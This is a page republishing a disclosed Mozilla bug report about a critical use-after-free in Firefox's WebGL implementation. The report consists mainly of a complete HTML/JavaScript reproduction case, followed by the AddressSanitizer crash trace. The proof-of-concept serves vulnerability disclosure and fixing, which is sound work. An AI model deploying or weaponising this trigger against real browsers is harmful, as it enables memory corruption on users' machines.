Skip to content
Memory corruption Disclosed report

use-after-free in webgl with resource overflow thing, llvmpipe atleast

miaubiz Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 3 months
  • Paid in 11 months
  • Disclosed after 3 months
Text
Created attachment 657699
repro case

I load:

<html>
  <head>
    <script id="vshader" type="x-shader/x-vertex">
      attribute vec4 vPosition;
      attribute vec2 texCoord0;
      varying vec2 texCoord;
      void main() {
        gl_Position = vPosition;
        texCoord = texCoord0;
      }
    </script>
    <script id="fshader" type="x-shader/x-fragment">
      precision mediump float;
      uniform sampler2D tex;
      varying vec2 texCoord;
      void main() {
        gl_FragData[0] = texture2DProj(tex, vec3(texCoord, 0));
      }
    </script>
    <script>
      function _shader(gl, program, shaderType, shaderId) {
        var shader = gl.createShader(shaderType);
        var shaderElement = document.getElementById(shaderId)
        var shaderSource = shaderElement.text
        gl.shaderSource(shader, shaderSource);
        gl.compileShader(shader);
        gl.attachShader(program, shader);
      }

      function doStuff(gl) {
        gl.clearColor(0, 0, 0, 0)
        gl.clear(gl.COLOR_BUFFER_BIT)
        gl.drawArrays(gl.TRIANGLES, 0, 3);
        var buf = new Uint8Array(4)
        gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, buf);
      }

      var gl = document.createElement('canvas').getContext('experimental-webgl')

      var vertexObject = gl.createBuffer();
      gl.bindBuffer(gl.ARRAY_BUFFER, vertexObject);
      gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0, 0, 0, 0, 0, 0, 0, 0]), gl.STATIC_DRAW);
      gl.enableVertexAttribArray(1)
      gl.vertexAttribPointer(1, 1, gl.FLOAT, false, 0, 0);

      var program = gl.createProgram();
      _shader(gl, program, gl.VERTEX_SHADER, 'vshader')
      _shader(gl, program, gl.FRAGMENT_SHADER, 'fshader')
      gl.linkProgram(program);
      gl.useProgram(program)
      doStuff(gl)

      for (var ss = 0; ss < 10000; ++ss) {
        var program = gl.createProgram();
        gl.linkProgram(program);
        gl.deleteProgram(program);
        gl.useProgram(null)
        for (var p in gl) {
          if (gl[p] == 'A') {}
        }
        doStuff(gl)
      }
    </script>
  </head>
  <body>
  </body>
</html>


and then this happens:

=================================================================
==30886== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffbc96a980 at pc 0x42721a bp 0x7fffffff1f40 sp 0x7fffffff1d08
WRITE of size 1 at 0x7fffbc96a980 thread T0
    #0 0x42721a in __interceptor_memcpy ??:0
    #1 0x7fffc483c8c2 in ?? ??:0
0x7fffbc96a980 is located 0 bytes inside of 64-byte region [0x7fffbc96a980,0x7fffbc96a9c0)
freed by thread T0 here:
    #0 0x42ae21 in free ??:0
    #1 0x7fffc44bdc1a in ?? ??:0
previously allocated by thread T0 here:
    #0 0x42b15b in posix_memalign ??:0
    #1 0x7fffc43f2d61 in ?? ??:0
==30886== ABORTING
Stats: 318M malloced (416M for red zones) by 2324432 calls
Stats: 81M realloced by 860547 calls
Stats: 183M freed by 1192420 calls
Stats: 59M really freed by 242755 calls
Stats: 716M (183329 full pages) mmaped in 179 calls
  mmaps   by size class: 8:2080641; 9:57337; 10:28665; 11:10235; 12:3072; 13:1536; 14:768; 15:256; 16:448; 17:128; 18:144; 19:8; 20:4;
  mallocs by size class: 8:2214575; 9:66021; 10:30795; 11:8258; 12:2002; 13:1192; 14:677; 15:225; 16:431; 17:111; 18:137; 19:5; 20:3;
  frees   by size class: 8:1109188; 9:47994; 10:27242; 11:4916; 12:1035; 13:900; 14:492; 15:184; 16:371; 17:80; 18:12; 19:4; 20:2;
  rfrees  by size class: 8:210444; 9:18608; 10:5953; 11:4769; 12:1003; 13:877; 14:485; 15:175; 16:350; 17:76; 18:10; 19:3; 20:2;
Stats: malloc large: 256 small slow: 5510
Shadow byte and word:
  0x1ffff792d530: fd
  0x1ffff792d530: fd fd fd fd fd fd fd fd
More shadow bytes:
  0x1ffff792d510: fd fd fd fd fd fd fd fd
  0x1ffff792d518: fd fd fd fd fd fd fd fd
  0x1ffff792d520: fa fa fa fa fa fa fa fa
  0x1ffff792d528: fa fa fa fa fa fa fa fa
=>0x1ffff792d530: fd fd fd fd fd fd fd fd
  0x1ffff792d538: fd fd fd fd fd fd fd fd
  0x1ffff792d540: fa fa fa fa fa fa fa fa
  0x1ffff792d548: fa fa fa fa fa fa fa fa
  0x1ffff792d550: fd fd fd fd fd fd fd fd

The original report as published on Mozilla's Bugzilla, by miaubiz. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in Graphics: CanvasWebGL. Mozilla made it public on 30 November 2012.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by miaubiz

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.